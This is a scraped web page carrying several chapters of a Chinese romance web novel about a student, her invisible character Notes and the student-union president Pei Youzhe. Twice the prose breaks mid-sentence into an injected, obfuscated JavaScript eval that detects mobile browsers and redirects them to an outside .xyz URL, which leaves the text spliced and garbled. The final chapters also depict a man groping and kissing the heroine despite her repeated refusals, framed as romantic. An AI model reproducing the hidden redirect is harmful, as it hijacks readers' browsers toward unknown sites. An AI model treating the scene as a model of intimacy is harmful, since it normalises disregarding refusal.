庄森芽感觉自己俨然变成了一个科学家,对这些稀有现象有着十足的追根问底的好奇心。 她想伸手把他推开,可是手掌一碰到他的背,就像碰到一堵透明的墙,一下子穿了过去。 对哦……他还在隐身状态。 诺特斯似乎感觉到了什么,转过头来看了她一眼,没说什么,又回过头去,继续钻研他的曲子。 他们两人各做各的,倒是都很投入。 “你站起来一下。”她对他说。 诺特斯依言行事,起身来到一旁,又找了个地方靠着,仿佛没有脊椎骨似的。 庄森芽盯着皮质的小方砖,没有挤压产生的痕迹。诺特斯坐在它上面时,虽然方砖挪动,他也会被带着一起移动,可却并不存在重力所产生的压痕。 这是什么原理? 不过也不能用常规的原理去解释吧……本来这个人的存在就很难用常理理解,只能说,记住现象,但别想那么多。 庄森芽看向一旁的诺特斯,对方闭着眼睛,似乎沉浸在自己的世界里。 “你今天怎么这么好说话?”她悄声问他。 从刚才开始,她声音就轻得几乎听不见,只因裴佑哲就在不远的地方健身,而且没戴耳机。为了不被觉察出异常,她只能将自己的音色揉碎了,混杂在器械的响动声中。 诺特斯缓缓睁开眼睛,笑起来,“我有吗?” “我让你做什么你就做什么,以前你可没这么好使唤。” “不习惯的话我很快就会变回去,不过先等我把脑袋里这首歌编完。” “不用变,挺好的,继续保持。”她忙不迭地说。 原来是在心里写歌,难怪。 同为创作者,她明白诺特斯现在处于一种怎样的状态。 灵感突如其来,在内心像火山一样喷发,不停地伸出手去,想要抓住那些零散的火星,意图将它们编织成幻妙的美梦。 这个过程是神圣且私人的,屏蔽外界的一切信号,意识存在于内心的心灵空间里,如果不是外界有什么重大的事情发生的话,一般不会想要从中离开。 这就不难理解为什么诺特斯是一副怎样都行的状态,他沉浸在自己的音乐世界里,外在的表现就宛如变成了一个可以揉圆搓扁的橡皮泥,对他做什么都行,因为他没法分心。 庄森芽不由为自己的发现而心生窃喜,感觉又掌握了一个新的掣肘对方的手段。 她希望诺特斯最好天天灵感爆棚,这样他就没工夫和她作对了,甚至会变成言听计从的趁手工具,而且还会掉落好听的音乐,简直是多赢。 103. 练完不拉伸就像打工不要钱——…… 机会难得,她不打算放过,趁对方没心思应付,她开始问他一些刁钻的问题,这些问题平时要是问出来,绝对会被他反击的体无完肤,但她认为现在的诺特斯一定没有办法应对。 “我突然想到一件事情,”她说,准备看看对方的态度,“你要是想离开莱王星,长期留在这个世界的话,你能力的供应源从哪来?这个世界是没有石剑醇的。” 他模样看起来不以为意,“那就做普通人呗。” “你甘心?” “甘心。”他简略地回应,指尖在一旁的金属器械上打着节拍,心里似乎在默念着什么旋律。 甘心就有鬼了。庄森芽如此断定。 诺特斯怎么可能放弃这么无敌的能力,他一定会想办法带很多石剑醇来到这个世界,保证几年、几十年的时间里都有足够的能量供应。 她思考片刻,提出一个新的设想,“那是因为,你想回莱王星的时候就能回去吧,所以这个世界有没有石剑醇都无所谓。” “回不去。”他闭着眼睛说,语气听起来稀疏平常,不像是在刻意说谎,“选择只有一次,故事尾声的时候,我要么留在这里,要么回去那边。” “那你想留下来的原因是什么?”她皱着眉头问,“岂不是把你那边的所有产业都放弃了。” 他睁开眼睛,盯着庄森芽,就这么看了一阵子才张口,“总觉得你的话是在挖坑让我往里面跳,但我现在没工夫细想,所以,我选择拒绝回答。” “……”警惕性还挺强。 原来他也没那么非人,在思考一件事情的时候,就是没办法思考另一件,这倒使他看起来像是个正常人。 “有什么非留下不可的理由?”她追问。 “有。” “这边有你想要的东西?” “是的。” “你想称霸这个星球?” “嗯。” 就这么承认了? 庄森芽思虑片刻,又问:“可是留在这边你就会失去能力,你想怎么称霸?” “不知道。” “还是说,你只是想找个地方养老?” “没错。” 开始前后矛盾了。 “……你在说胡话吧。”她说。 “是。” “……” 简直没办法沟通。 诺特斯仿佛开启了某种防御机制,有应必答,但是答的都是废话,毫无参考意义。 这么问下去看起来也不会有什么收获,她瘪瘪嘴,索性不再浪费口舌了,往方砖上一坐,把他晾在一边。 她有些气鼓鼓的,心想,自己就应该学习他这副死模样,以后他再问她什么事情,她不想回答的时候,也这么半死不活地回复他。 周围的空气冷却了下来,健身房里回响着机械碰撞的声音,她不想再搭理他,于是百无聊赖地翻着社交平台,耳旁时不时响起零碎的音调,诺特斯在像穿线一样把那些音符串在一起,渐渐编织成一张有着色彩的图案。 说实话……有点好听。 虽然只是几个旋律,但配上那磁性的嗓音之后,莫名有点悦耳。 沁润在音符之中,时间好像过得很快,大约一个小时之后,伴随着一声巨大的砸响,裴佑哲似乎结束了力量训练,他身影消失在男更衣室中,过了五分钟不到又走出来。 “森芽。”他呼唤。 庄森芽听见了,立刻像是被点到名的学生一样站起来,往裴佑哲的方向走去。 他为自己找了一个垫子,平铺在活动区的地上,坐了上去,调整自己的鞋带。 庄森芽走近了之后,裴佑哲没抬头,只是问:“刚才你在那边做什么?一个人说话。” “呃,我说话了?可能看视频太专注了……”她有点支支吾吾。 居然被听到了,看来以后还是要更加小心才行。 对方没纠结于这件事,朝她吩咐接下来需要做的事,“等下我趴着的时候,向下按住我的脚腕,抬高膝盖,你有多大力气就用多大力气。” 庄森芽不知道拉伸的门路是什么,裴佑哲怎么说她就只能怎么做。对方趴下去之后,她按住他弯折的那条腿,拢住他的膝盖,手上发力上提,鼓足了劲做出他指示的动作。 “再用力。”裴佑哲说。 她屏住了呼吸,将注意力全部集中在手上,咬牙切齿发力,然而也不知道是对方的腿太重还是筋骨太僵硬,她感觉自己在搬一块石头。 “你这么做一点效果都没有。”他语气中带上了一些不满的意味。 庄森芽欲哭无泪,来之前可不知道这是个体力活,以为只是揉揉肩膀捶捶腿就可以了,哪里想到是要完成这么专业的配合动作。 时间没过多久,她手臂就开始发酸,连一开始的力气都失去了。听到裴佑哲发出一声叹息,似乎是在表达他的无奈。 庄森芽心想,这可不能怪她,自己一看就是没什么健身房经验的小白,肌肉半点没有,上了器械该做什么动作也不知道,更不要说给别人拉伸之类的。 裴佑哲理应知道她的水平,做不到的事情就是做不到,他叹息不满也没用。 “你起来吧。”他说。 庄森芽闻言,正要照他说的做,然而这时候诺特斯凑了过来,打量了一番这幅场景,开口说:“你这样不好发力,我告诉你怎么做,你直接坐在他腿上,像拔葱一样往后掰他的膝盖。” 庄森芽投去一个视线,那目光的意思是在问他:这行吗? 诺特斯十分确信地点头,“绝对没问题。” 于是她对瑜伽垫上的人说:“佑哲,我再试一下。” 身下的人没说话,似乎是默许了。 她按诺特斯说的,坐在裴佑哲的小腿上,双手抱住他的膝盖,像搬起重物一样猛然向后发力。 “!”裴佑哲的身体顿时僵硬,抬手在空中徒劳地挥舞了一下,而后重重砸在橡胶垫上,发出啪的一声。 这回的确感觉好发力了很多,而且也成功把对方的腿搬起来了,现在有点看出来,这个动作应该是想要拉伸大腿前侧的肌肉,也不知道刚才那一下力道够不够。 “这回怎么样?要保持这个力度吗?”她朝对方发问。 裴佑哲趴在地上,不知为何,他背影看起来有点颤抖,“……你下去。” 怎么还是让她下去,是这回的力道还不够吗? “噗。”诺特斯在旁边笑了一声,听起来像是没憋住,他捂着自己的嘴咳嗽了一下,很快恢复成一副没事人的模样。 庄森芽感觉莫名其妙,只好先按照裴佑哲说的站起来。后者翻身坐起,两手抱住自己那条备受煎熬的腿,表情有点痛苦难耐。 她这才反应过来是怎么回事,关心地问:“佑哲,我弄疼你了吗?” “没有。”他嘴上是这么说的,实际怎么样就不知道了,或许是倔强作祟,也有可能是真的不疼,“不做这个了,你替我捏一下斜方肌。” 庄森芽脑海里一片空白,“斜方肌是哪?” 裴佑哲侧过头,伸手捏住自己的侧颈下方,“这里。” 哦,这不就是要按摩肩颈的意思吗。 她很快理解了,绕了一圈来到对方的背后,在柔软的瑜伽垫上跪下,双手捏住他的肩,感受到紧实的皮肤在散发出温热的温度,他身上没有汗,很干爽,大概是刚才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而他那时的神情和现在的有某种程度上的异曲同工之妙,这在他脸上十分少见,可能是因为几乎不会遇到什么意外情况或挫折,裴佑哲总是对什么都信手捏来,仿佛一切都在预料之中。 这是她第二次看到他露出这种表情了,而且两次的罪魁祸首好像都是自己,庄森芽感觉有点对不起对方,连忙冲他询问:“怎、怎么了,我是不是做得不对?” 裴佑哲闭了闭眼睛,那种生动的表情在他的脸上一瞬即逝,他又恢复成平日里的冷静模样,“……算了,你去旁边休息吧。” 怎么看都是被嫌弃了。 庄森芽瘪瘪嘴,心想自己好像一点用场都没派上,希望这对最后的考核结果不要有什么影响,今天的课题真的是她力所不能及的范围。 来到一旁的器械上坐着,没过多久裴佑哲就招呼她离开,坐上来时的车,车辆开离停车场,这时候,主驾驶上的人对副驾驶的人说:“今天下午没事了。” 听到这句话,庄森芽有点不敢相信自己的耳朵。 这就结束了? 真的可以吗?真的能得到一个下午的自由? 今天比昨天去车展轻松太多了,简直可以说是游手好闲,这让她不禁有些惶恐。 如果今天下午真的没事,那这个‘一周情侣’的考核可以说越来越轻松了。 难道说其实她已经通过了,所以从昨天开始其实都是做做样子而已? 不,还是先别抱这么乐观的假设…… 她内心已经开始雀跃起来,然而还是违心地发问,表现出一副尽职尽责的态度,“不需要我做什么了吗?” “不需要。” 得到肯定的回答,庄森芽暗暗握拳,那是宣告胜利的手势。 谢天谢地,谢天谢地,骡子终于可以喘息半日了! 104. 不是一类人玩不到一起去 回到学校之后,庄森芽先是回到宿舍大睡了一觉,攒够了精神头,又去把昨天落下的功课追上,而后又发消息约自己的小姐妹温枣去食堂二层吃饭。 期间,诺特斯在旁边如影随形,他也不说话,就只是拿着一本希腊语的小册子看,人像是开启了跟随模式,她去哪他就跟到哪,像条陪主人出门的大型猎犬。 有时候她觉得诺特斯如果是条大狗的话那还真不错,没有人那么狡猾,还能提供一个陪伴的情绪价值,可以说非常好用。 “你的歌写完了?”在去食堂的路上,庄森芽问他。 “写完了。”他回答,而后就没有了下文。 她心有点痒痒的,想听这新编的曲子,白天在健身房那时钻入耳中的几个旋律直到现在还在脑海里回响,她想知道完整的曲目是怎样的。 但诺特斯似乎没有给她一展歌喉的打算,只顾看他自己的书。 他既然不主动,她也就没问,主动求他唱是不可能的,她怎么可能表现得很在意? 来到食堂和伙伴汇合,一同点了餐,坐在一个僻静的角落。 桌面上摆着香气扑鼻的食物,对面是热情洋溢的温枣,而旁边的座位上则坐着一个谁也看不到的安静的诺特斯,这就是当下的画面了。 她和温枣上一次联系还是在‘一周情侣’之前,那时候庄森芽刚被裴佑哲爆出来是《灵月十四》的作者,为此提心吊胆了好长一段时间,可现在看来似乎也不是什么大事,每个人都过着各自的生活,没有人来特意关注她、在她身上投入太多的精力。 而她担心的那些事——比如她和诺特斯的关系被扒出来,人们发现诺特斯的真实身份一类的——统统没有发生,她的担心最终被证实是多余的。 “还记得我上次和你说过的那个看上你漫画的大佬吗?”温枣说,“他看完你的大纲之后很满意,打算在完结的时候为你造势,帮你大火一把。” 庄森芽还记得这件事,在大约三周前的那次海岛旅行时,温枣给她打电话要她口述《灵月十四》大纲,她好给那个所谓的‘大佬’发过去看看。而就是这通电话被诺特斯听到了,男人因此得知她真实的打算,并威胁她改结局,她构思已久的最终话不得不推倒重来,现在发给那个‘大佬’的版本是诺特斯最终将存活下来的那一版。 “记得呢,”她说。提到这里就开始有点忧郁,因为前途未卜,她也很混乱,只能走一步看一步,“要是真的爆火了,我是不是得感谢一下人家?” “他说你要是能跟他签下一部作品的话,他会很开心的。”温枣眼睛放光。 下一部作品?她还会有下一部作品吗……感觉《灵月十四》完结的那天,她的世界一定会发生什么翻天覆地的变化,那之后的一切对于现在的她而言都是未知的。 她没有把心里那些顾虑对自己的小姐妹说出口,说了对方估计也帮不上什么忙,只会平添烦恼,“这位先生是做什么的?编辑之类的?” “不是,他在一个著名的科学家手底下打工……也不能说是打工吧,应该说是有密切的合作关系?我也不太懂,反正他很厉害就是了。” 又是科学家? 她瞟了一眼旁边的诺特斯,男人专注地看着手里的小册子,似乎并未留意到她们两人的交谈。 诺特斯也很多次提到过一名科学家,这两者之间会有什么联系吗……? 庄森芽暂时按下这个困惑,向温枣表达另一个疑惑,“可是,他不是编辑,也不是相关从业人员,是想怎么‘签’我的作品呢?” 按她的理解,能签漫画作品的,只能是平台或者平台的相关负责人员,一个科学家的合作伙伴说要和她签约,她不理解这是什么概念。 “唔,这我还真没想过。”温枣露出困扰的表情,但转瞬又想出了新点子,“后面我发消息仔细问问他吧!” 两人聊完了一个话题,又片刻不停地接着下一个,庄森芽自认不是个话多的人,但和温枣在一起的时候却好像总是有说不完的话。 两人又聊到温枣这些天都在做什么,庄森芽了解到她还在忙着动漫社和绘画社新成立的社团的事。 两个社团在那次绘画大赛之后合并成了一个,起了新名字,部门也都打散重来了,一些重复性不强的部门倒是没有引起什么争议,但是一些基础部门不好整合。 比如,两边都有活动部,活动部原本各有一个老大,现在要合并成一个,谁来当这个合并之后的部门部长就成了一个问题。而他们最终选择的方式就是投票,如果发生两个部长竞争同一个职位的情况,那么就由成员们投票决定谁来当选。 温枣这些天就是在忙这些事,搞得像是美国州长竞选一样,每个部长的选举她都热烈地参与其中,乐此不疲。 两人后来又聊到庄森芽的近况,温枣得知她在进行‘一周情侣’的考核,对她表达了同情和鼓励。 “我真的是快被他折磨惨了……”庄森芽叹息了一声,有些夸张地和自己的同伴抱怨。 温枣听了她这些天的经历,也为自己的小姐妹打抱不平,“主席怎么对你这样,他是不是对你有什么意见啊,怎么就盯着你折腾呢。” “可能是因为我之前对他说了些过分的话吧……” “你说什么了?” 庄森芽没法细说,只好大概给温枣表达了一下,“差不多就是说他人品有问题之类的。” 温枣听了,面不改色地站在自己的姐妹的一边,“可他是学生会主席欸,怎么可以这点肚量都没有?你都已经对他道歉了不是吗?” “是,但他没有原谅我的意思,应该是真的很生气吧。” “怎么会这样,我记得他以前对你挺好的,怎么翻脸就不认人了呢。”温枣为她忿忿不平,“原本他那么关照你,我对他的印象可好了。” 庄森芽无奈地摇摇头,“没办法,现在已经是这样了。” “算了,情绪这么不稳定的朋友不交也罢,这个‘一周情侣’的考核结束之后,你就和他没有交集了对吧?” “是的。” “那将来就离他远远的。” “嗯,我是这么打算。” 惹不起总归是躲得起的,裴佑哲要是始终是这幅冷冰冰的态度,她只能躲远点,再不济打地道战,确保自己不在对方的视线范围里,免得被集火针对。 这时候,一旁看书的诺特斯投来视线,扬了扬他细长的眉,突然开口说:“难道以为躲起来他就不会纠缠不休了?” 这句话只有庄森芽一个人听到了,她自然是不能 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对方只发来了一条消息,说明天晚上要带她出去吃饭,穿什么他会准备。 似乎昨天去车展穿的那条厚重严实的黑裙子让他印象颇深,甚至耿耿于怀,所以不打算让她再自己即兴发挥了,直接承包了明天的着装。 庄森芽对此没什么意见,反正裴佑哲再怎么嫌弃,昨天那身也不能代表她的品味,她没什么好因此不好意思的。 只不过,当第二天拿到要穿的衣服时,她后悔了。 早知道这样,就应该坚持自己准备。 今天是‘一周情侣’的第五天,星期五,她上完了下午的课程,就收到了来自费洛的消息。 他对她说:「你的衣服准备好了,来活动大楼五层拿一下。」 庄森芽还在疑惑是什么衣服,半天才想起来昨天裴佑哲对她说过的话,她又开始困惑为什么是费洛联系她,没过多久又想起来好像有谁说过,费洛是裴佑哲的御用造型师,这才彻底明白过来,自己今晚的服装应该是被这个外联部的形象大使承包了。 来到活动大楼找到对方,拿到了一个没有牌子的白色纸袋子。 费洛笑嘻嘻的,说:“你穿上这个包好看。” 纸袋子拎在手里的感觉很轻,有一双鞋和一件衣物,庄森芽把里面的东西拿出来,那是条白色的裙子,提起来才发现布料少得可怜,似乎是条包臀裙,抓在手里就那么一窄条。 “穿这个?”她发出质疑,“现在是什么季节,想冻死我吗?” 费洛摆出一副无辜的模样,“是佑哲让我照这个款式去选的,你可不能朝我发火啊。” “他只让你选了这么一条裙子?以及一双鞋?” “是啊。” 庄森芽不知道该说什么好了,现在是十一月,冷风已经有些刺骨,虽然还不至于里三层外三层的程度,但一条薄薄的裙子肯定是不行的。 也不知道裴佑哲是怎么想的。 这时候,一直跟在旁边的诺特斯开口,“难不成考核内容还包括体魄修炼这一项?” 说什么风凉话。庄森芽腹诽。 简直想给他肚子上来一拳,让他也感受一下恶寒的滋味。 105. 祸水 她拎着那个纸袋子回到了宿舍,刚巧又是晚饭时间,刚巧几个舍友又都去吃饭了,宿舍里只有她一个人。 她把那条白色的裙子拿出来,拍了张照,有点不确定地给裴佑哲发消息。 她询问他:「佑哲,我就穿这个吗?」 半晌,对面回消息了,对方似乎明白她的顾虑,如此作答:「车里和餐厅都不冷。」 看到这句话,庄森芽露出苦恼的表情,看起来裴佑哲是铁了心要她穿这条裙子。 她拎着它来到镜子前面,拿在身前比量了一下,想象了一下穿上会是什么效果。 感觉会有大片的皮肤都裸露在外面……她非冻死不可。 这时候,裴佑哲又发来了消息,他说:「一个小时之后下楼,来西门。」 还是一如既往的地点,留给她的时间不多了。 她咬咬牙,把宿舍的窗帘拉上,在自己的位置上换衣服。 一直如影随形的诺特斯在她进宿舍的时候就消失了,只能说在这点上男人还是有点眼力价的。 她换好了裙子,又穿上纸袋里那双带着五公分矮跟的尖头鞋,站起来,只觉得自己好像什么也没穿一样,一层薄薄的布料贴在身体上,起不到任何遮风挡雨的作用。 来到镜子前,顿时感觉有些难为情。 她以前哪穿过这样的裙子啊,肩膀和颈窝全都暴露在外面,领口开得很低,简直就是在向不知什么人邀请,袖子倒是长款的,可是两条腿则不然,裙子底部边缘几乎到大腿根就结束了,光洁的双腿全都露了出来,往下拽一拽也没觉得有多安全。 总感觉无论做什么动作都有走光的风险,而且这裙子材质虽然光滑,但造型上为了达成与身体曲线严丝合缝的效果,牺牲了体感,不禁让人觉得束缚,总得来说就是不太舒适。 这时候,旁边突然响起了敲门声,距离太近,吓了她一跳。 外面传来的是诺特斯的声音,“换完了吗?” “换完了。”她说第一句话的时候没过脑子,片刻才反应过来,又补充一句,“但你还不能进——!” 她说晚了,诺特斯的身影已经穿过了宿舍的大门。 男人停在宿舍门口,原本好奇的目光变得有些发愣,金色的眼睛盯着近在咫尺的人,像按了暂停键一样目不转睛。 “不许看!”她羞愤地喊着,连连后退,转身就往自己的位置上跑,想从衣柜里随便翻出些什么东西遮挡。 然而,她没能跑出去多远,后面的人就追了上来。 两条有力的臂膀圈住了她,一只手绕过胸前扣住肩膀,一条胳膊穿过侧腰拦在腹部,一下子就将她禁锢在了原地。 庄森芽顿时如临大敌,扭动起来,像笼中扑腾的鸟雀。 简直是引狼入室! 穿棒球服的时候都要时刻提防这人会不会随地兴致大发,更不要说现在这身充满了暗示的包臀裙。 失策,她不应该那么大意。 “不让我看?”身后响起反问的声音,他问得又重又慢,就像狠狠碾过绷紧的琴弦,“那你想让谁看。” “放开我,好冷,我要穿外套!” 没想到这句话适得其反,却让诺特斯抱得更紧了,似乎是为了让体温更无隔阂地传递过来。 “脱掉。” 听到这两个字,庄森芽的脑袋里有点滞愣,“什么?” “不是觉得冷吗。”他说,“就算披上外套也好不到哪去,你应该换的是这条裙子。” “可——” “你不会真的想要穿这身出门吧。” 她也不想,但是她有什么办法,“佑哲要求我这么穿啊。” 侧过头去,她看到诺特斯的脸,男人的表情是带这些隐忍的,目光深邃得仿佛看不到底。 她感觉到束缚身体两条手臂更紧了一些,几乎让人有点喘不上气来。 “不行。”诺特斯的声音压得很低,口气认真,不带一丝玩笑意味,“你不换,我不会让你出门。” 庄森芽只觉得气不打一处来,刚才在活动大楼刚拿到这条裙子的时候,诺特斯还在说些什么“体魄修炼”的风凉话,怎么亲眼看到之后就改主意了? 也不知道这家伙在想什么,翻脸简直比翻书还快。 “我穿什么要你管。”她有点愤愤不平。本来还不太愿意穿这条裙子出门,可是在诺特斯的百般阻挠之下,她改主意了,说什么也要穿出去,“放开我,我还有好多事要做。” 要选一个能搭配上的外套,要梳一个妥帖的发型,首饰一类的估计还是按照上次的流程由裴佑哲准备。 虽然这次晚餐对她而言并不是什么期待不已的场合,但是既然要光鲜亮丽地出门,那就做到所能做到的最好。 然而,诺特斯却不如她所愿。 收紧的双臂几乎要将她整个人提起来,庄森芽又开始挣扎,可身高的差距让她苦不堪言,穿着高跟鞋的脚尖几乎碰不到地面,只能被人拖着离自己的床位越来越远。 诺特斯抱着她回到了镜子前,这时候庄森芽还在奋力抗争,砸臂蹬腿,一副宁死不从的模样。 “看。”男人在她耳旁说。 她看向镜子里的自己,顿时不敢乱动了。 因为不停的扭动,单薄的布料都揉皱了,裙子变了形,像块没有经过剪裁的布料一样贴在身上,胸口因为撕扯而暴露,领口来到了十分危险的位置,裙摆也掀了起来,几乎包不住臀部。 她只觉得一阵气血在往上涌,脸涨得通红。 如果只是自己衣装凌乱也就算了,偏偏身后有个着装尚且整洁的人,他唯独衬衫的袖子有些发皱,和她身上的裙子一样,就仿佛是那双手弄乱了这一切。 “你想被人看到这幅模样?”他盯着镜子里的她,俯下身来,如此问着。 她避无可避,只能红着脸盯着对方,嘴上怒斥,“这还不是因为你!” 都是因为他不由分说一直抓着她,所以她才竭力挣扎,如果不挣扎就不会这么狼狈,就能安安静静做一个无懈可击的淑女。 “你敢保证不会有人对你做更过分的事?” “现在是文明社会,哥哥!”她感到无奈又气愤。 “所以你觉得人的欲望就能因此被约束得很好,让你衣着暴露地出门也丝毫不用顾忌。” “是啊,我就是这么觉得。”她十分果断地说,“你以为谁都像你一样,管不好自己的两只手?” 诺特斯神情微动,他露出一个尖锐的笑容,“听起来我在你心里是个很下流的人。” “难道不是吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14596965|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 别告诉她他一点自觉都没有。 从认识开始,这个男人的举止就不符合文明社会的期许,用性骚扰判定都有点轻了,他应该被警察抓走关起来,劳改个十年八年再放出来。 “这还真是让人伤心。”诺特斯脸上却没有一点伤心的情绪,他笑意更深了,带着一股狠劲,“你是不是都没看出来我有多克制自己。” “克制?你要是克制——” 她本想奚落他几句,可是男人接下来的动作让她一下子紧绷起来,连要说什么都忘了。 那只按在腹部的手往上摸索,途经隆隆作响的心脏,用手掌的热度兜住了她。 她只觉得顿时泛起了一身的鸡皮疙瘩,身体蜷缩起来,往后退去,然而这个动作却让她更加紧密地贴进他的怀里。 脑袋几乎有些懵掉了,裙子的布料薄得几乎可以忽略不计,这感觉就仿佛他在直接触碰她。 “变态,你在摸哪……”她音色都弱了下来,抓住对方的手腕,拼了命地往后缩。 “既然我在你心里的形象已经这么恶劣了,”他用嘴唇贴着她的耳廓,带着气音说,“那岂不是正好。借这个机会,给你点教训,我来演示一下真正的坏人会做什么吧。” “不要,放开……”她抗拒着,指甲掐进了对方的小臂里,可那只作乱的手不为所动,它揉捏着,将布料挤压出褶皱,没有半点放过她的意思。 吻落了下来,在大片裸露的肩颈,一寸接着一寸,细密又麻痒。 庄森芽闭上了眼睛,不敢再看镜子里倒映出的一切,心跳在急速地攀升,她感到自己的两腿有点打颤,身体像个面团一样被对方玩弄于鼓掌之中,逃无可逃。 “放开……”嘴上在徒劳地抗议,她的脑袋很混乱。 事情发展出乎了意料,她没想到对方会在这个节点暴露本性,以前那些点到即止的接触仿佛都变成了小儿科,这一次才是动真格的。 也不知道具体是哪一句话刺激到了他,还是说刺激到他的是她今天的穿着,总而言之他放弃了矜持,这时候庄森芽才理解那所谓的克制。 双手带着惑人的热量,碰到哪里,哪里就像被点燃了一样。她急促地喘息着,感觉自己要被烧化了,浑身瘫软,力量在急速地流失。 “我再问你一遍,”一片朦胧的热度之中,她听到男人沙哑的声音响起,“换不换?” 她感觉自己仿佛身处一个蒸锅之中,意识被漫起的蒸气哄散了,迷迷糊糊,反应都慢了好几拍。 男人问她这个问题的时候,她花了好一阵子才理解,他是要她把身上这条裙子换掉。 从刚才开始,诺特斯在这点上就表现很固执,甚至说得上强势,仿佛丝毫没有商量的余地。 然而,那带着威胁性质的话语没有让她屈服,虽然脑袋里的思绪已然变成了一团浆糊,但她本能地不愿妥协。 她想,自己可能是吃软不吃硬的那一类,对方越是强迫她做什么,就越是能激起反抗的斗志。 这可能也是为什么她频频在他身上吃瘪,但凡她态度放软一些,率先作出妥协或退让,或许都不至于每次都撞在枪口上。 但是,去他的,要她在这个败类面前低头? 没门,不可能,她不要,永远也不会。 106. 变质 庄森芽紧咬住了嘴唇,不让一丝怯懦从自己的嘴中流露。 诺特斯没有得到回应,眼神更加深邃了一些,伸手抚过那倔强的嘴唇,“是觉得这种程度不算什么?” 她不予回应,像根木头似的立在那,说什么也不肯张口。 下一刻,她听到身后的人深吸了一口气,仿佛在按捺什么一般,气息略有颤抖。 紧接着,她感觉脚下一轻,男人把她翻了个身抱起来,放到了洗手台上。 她一惊,睁开双眼,看到诺特斯贴上来。她向后退,可是一条强有力的手臂揽住了后背,不让她再远离。 她与诺特斯对视,那双金棕色的眼睛中溢满着复杂的情绪,有渴求,有扼制,还有一丝迷离。 这个目光让她有些发愣,她以为对方会是一脸戏谑的表情,看起来什么都在掌控之中,把她当成是一个物件一样摆弄来摆弄去,就像宿舍里养的那只小仓鼠,握在手心里随意地揉圆捏扁。 可他看起来不是那么游刃有余。 怔愣的时候,诺特斯错开了视线,他低下头去,就像是要昏厥过去一样。 庄森芽只觉得身后的手又搂紧了一些,下一刻,灼热的气息打在皮肤上,男人居然就那么埋进了她的胸口。 她顿时瞪大了眼睛,抓住对方的头发,拼了命向后扯,可是没有作用。 亲吻落了下来,激起层层波澜。 “不,别……”声音变得细弱蚊吟,一种无法阻挡的势头在体内横冲乱撞,她的肩膀耸起来,头低垂着,双手无力地抓着对方的卷发,动作反而像是在温柔地抱着他。 起初只是蹭着,可不知哪根筋断了,他又轻咬了一口。 她捂住自己的嘴,无声地叫。 这太过了。 “诺特斯……”她呼唤对方的名字,原本是想要说些阻止的话,可是意识仿佛烧断了的弦,张口忘言,结果只是意味不明地喊了他一声。 诺特斯抬起头来,额发有些散乱,整个人的气息也不像先前那般从容,双眼微微眯起,里面是绻缱的糖浆。 这个注视持续了大概有三秒,而后,男人放弃了开垦山野,他挺身站直了一些,微微侧过头来,目光落在她的嘴唇上。 她没躲,不如说早就束手无策,任人宰割了。 柔软的触觉覆盖在唇瓣上,有种该来的还是会来的注定感。下意识闭上眼睛,舌尖趁虚而入,一只手虚拢着她的后脑,一点点加深这个吻。 它比他们上一个要温柔许多,第一次接吻的时候她几乎感觉到窒息,被强迫着接受,而这一次只有无尽的缠绵。 但无论哪一种,都让大脑无法很好地思考。 要完蛋了,感觉好像停不下来…… 一吻结束,她喘息着,睁开眼睛,撞进同样迷离的一双眼中,两人无言,对视不过一秒,又纠缠着亲在了一起。 她抱着对方的脑袋,动作说不好是在抗拒还是欢迎,男人的手在四处流连,像在抚慰受惊的雪兔,弄得她整个人浑身无力,骨头都酥软。 原来他不那么强势的时候是这种感觉,可是却更危险了,循循善诱着,让人落入欲望的泥沼,越陷越深。 而这也是她一直所顾虑的。 从很早的时候,就觉察到自己和对方在某些方面的相性有点过于契合。就从最简单的触碰来说,如果真的讨厌,早该觉得恶心,但没有,她只是尽可能去躲,因为每一次的接触仿佛都在往柴堆里扔火折子,说不定哪一次就会引燃。 而尽管她再怎么躲,怎么抗拒,他还是一次次黏上来,不知疲倦,未曾气馁,就像是被火光吸引的飞蛾一样,又像是有磁石在驱使他靠近。 她感觉自己宛如走钢丝,稍有不慎就会坠落,被一种本能趁虚而入,连自己的身体都开始背叛。 就像现在。 理智在说,推开他,离他远一点,用最无情的话拒绝他;可身体却因热量而感到温适,贪恋着更多的接触。 真的,她觉得这次要完蛋了,就算诺特斯继续做下去,她可能也没办法拒绝。 起因是什么来着,一条过于暴露的裙子? 还是迟迟压抑着的再难忍耐,经导火索的点燃,终于无所顾虑地释放,火光势要将彼此都灼烧殆尽。 她感觉胸膛有点火辣辣的,空白的大脑艰难地运转,反应过来自己好像很久都没有呼吸了。 这个时候,诺特斯放开了她,藕断丝连,他亲吻她的嘴角。 她急促地喘息着,像是一辈子没有吸入过氧气。 朦胧的视野里,诺特斯的情况似乎也没好到哪去,他像是着了魔一样半眯着眼,眼神里没有光亮,忘我一般,只剩情欲在其中蒸腾。 他抬高一条腿,膝盖抵在洗手台的边缘,同时伸手去抱她,将她放在了架起的那条大腿上。 两腿岔开,裙摆自动卷了起来,双脚碰不到地面,顿时只剩中间一根平衡木维持着体重。 她一个激灵,只感觉耳旁嗡嗡作响,伸手撑住了对方的肩膀。 “不要……”她发出抗议,双腿夹紧,想以此减少接触,可效果似乎适得其反。 然而诺特斯仿佛听不见她在说什么,又一个吻递上来,他扣着她的后腰,将她朝自己拉进了一些。 摩擦带来的刺激太大,她开始浑身颤抖,呜咽被吞下,发不出一丝抗拒的声响。 接着,只是一次下意识的姿势调整,像是为了找到一个更好发力的姿势,诺特斯顶了一下自己的膝盖。 而就是这一下,逼得绝境上的人喉咙里发出变形的尖叫。 那声音听起来完全不像是自己的,她顿时羞愤不已。 